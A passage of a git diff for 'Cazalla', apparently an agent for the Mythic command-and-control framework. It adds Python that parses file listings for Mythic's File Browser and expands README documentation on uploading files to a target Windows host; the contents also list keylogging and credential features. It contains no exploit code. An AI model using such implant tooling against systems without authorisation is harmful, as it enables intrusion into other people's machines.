D/F\tSIZE\tDATE\tNAME + # DATE debería tener formato MM/DD/YYYY HH:MM:SS (contiene / y :) + if (len(parts) >= 4 and + parts[0].strip() in ['D', 'F'] and + '/' in parts[2] and ':' in parts[2] and + (':' in first_line or '\\' in first_line)): + print(f"[FILE_BROWSER] Detectado formato de lista de archivos, parseando...") + file_browser_data = parse_file_browser_list(decoded_output) + if file_browser_data: + jsonTask["file_browser"] = file_browser_data + print(f"[FILE_BROWSER] Respuesta convertida al formato File Browser con {len(file_browser_data.get('files', []))} archivos/carpetas") + # Support for artifacts: create artifacts from parsed data artifacts = [] diff --git a/README.md b/README.md index a5532ec..de7e1ab 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ - [Credentials Support](#credentials-support) - [File Downloads Support](#file-downloads-support) - [File Uploads Support](#file-uploads-support) -- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support) +- [Keylogging Support](#%EF%B8%8F-keylogging-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -905,9 +905,11 @@ Cazalla supports uploading files from the Mythic server to the target using chun - **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer - **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes) -- **Smart Path Handling**: Automatically appends filename when path is a directory +- **Smart Path Handling**: Automatically appends filename when path is a directory or doesn't have a file extension +- **File Browser Integration**: Fully integrated with Mythic's File Browser UI - upload files directly from the browser - **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks) - **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded +- **Parent Directory Creation**: Automatically creates parent directories if they don't exist ### How It Works @@ -927,14 +929,34 @@ Cazalla supports uploading files from the Mythic server to the target using chun ### Using the Upload Command +#### From Command Line + ```bash # Upload a file to the target # Select file from Mythic UI file selector, then specify destination path -upload C:\Users\localuser\Downloads\file.txt +upload C:\Users\localuser\Downloads\file.txt + +# If path is a directory, filename is automatically appended +upload C:\Users\localuser\Downloads +# → Automatically becomes: C:\Users\localuser\Downloads\ # Uploads are chunked automatically - Mythic will show progress ``` +#### From File Browser UI + +The `upload` command is fully integrated with Mythic's File Browser: + +1. Navigate to **Files** icon in the top navigation +2. Browse to the target directory where you want to upload +3. Click the **Upload** button (or right-click on a directory) +4. Select the file from your local system +5. The agent automatically detects if the path is a directory and appends the filename + +**Note**: When uploading from the File Browser, you can specify: +- A full file path: `C:\Users\localuser\Downloads\file.txt` → Uploads to exact path +- A directory path: `C:\Users\localuser\Downloads` → Automatically appends filename from source file + ### Upload Process 1. **Request**: Agent sends upload request to Mythic for each chunk: @@ -969,12 +991,22 @@ Mythic: File Write artifact created ### Path Handling -The upload command includes smart path handling: +The upload command includes smart path handling with multiple detection methods: - **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`) -- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic -- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths -- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues +- **Invalid Character Cleaning**: Removes null bytes, carriage returns, newlines, and other invalid characters +- **Directory Detection**: Multiple heuristics to detect directories: + - Path ends with `\` or `/` → Treated as directory, filename appended + - Path has no file extension in the last component → Treated as directory, filename appended + - Path is a drive letter (e.g., `C:`) → Treated as directory, filename appended + - Path exists and is a directory → Treated as directory, error reported if no filename +- **Full Path Resolution**: Uses `GetFullPathNameA` to resolve relative paths to absolute paths +- **Parent Directory Creation**: Automatically creates parent directories if they don't exist +- **Error Handling**: Clear error messages for: + - Invalid paths (Error 123: invalid filename syntax) + - Directory without filename specified + - Access denied errors + - Path not found errors ### Implementation Details @@ -987,10 +1019,13 @@ The upload system uses: ### Error Handling The upload command handles various error scenarios: -- **Invalid Path**: Returns error if path is invalid or malformed -- **Directory as Path**: Detects and reports error if path is a directory without filename +- **Invalid Path (Error 123)**: Returns error if path contains invalid characters or malformed syntax + - Automatically cleans null bytes, control characters, and invalid path characters + - Handles UNC paths (`\\server\share`) correctly +- **Directory as Path**: Detects and reports clear error if path is a directory without filename + - Error message: "El path es un directorio existente. Especifique un nombre de archivo" - **Access Denied**: Returns Windows error code if file cannot be created/written -- **Path Not Found**: Returns error if parent directory does not exist +- **Path Not Found**: Automatically creates parent directories, or returns error if creation fails ### Viewing Upload Artifacts @@ -999,7 +1034,23 @@ The upload command handles various error scenarios: 3. Filter by "File Write" artifact type 4. View all files that were uploaded, including file paths and timestamps -For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). +### File Browser Integration + +The `upload` command supports Mythic's File Browser UI feature (`file_browser:upload`): + +- **Seamless Integration**: Upload files directly from the File Browser interface +- **Smart Path Resolution**: Automatically handles directory paths from File Browser +- **Progress Tracking**: Real-time progress visible in Mythic UI +- **Artifact Tracking**: All uploads automatically logged as "File Write" artifacts + +**How it works**: +1. File Browser sends `path` parameter with directory path (e.g., `C:\Users\localuser\Downloads`) +2. Python `upload.py` detects the path is a directory (no file extension) +3. Retrieves the original filename from the `file_id` via Mythic RPC +4. Automatically appends filename to directory path +5. Sends complete path to agent: `C:\Users\localuser\Downloads\config.json` + +For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload) and [File Browser documentation](https://docs.mythic-c2.net/customizing/hooking-features/file-browser). ---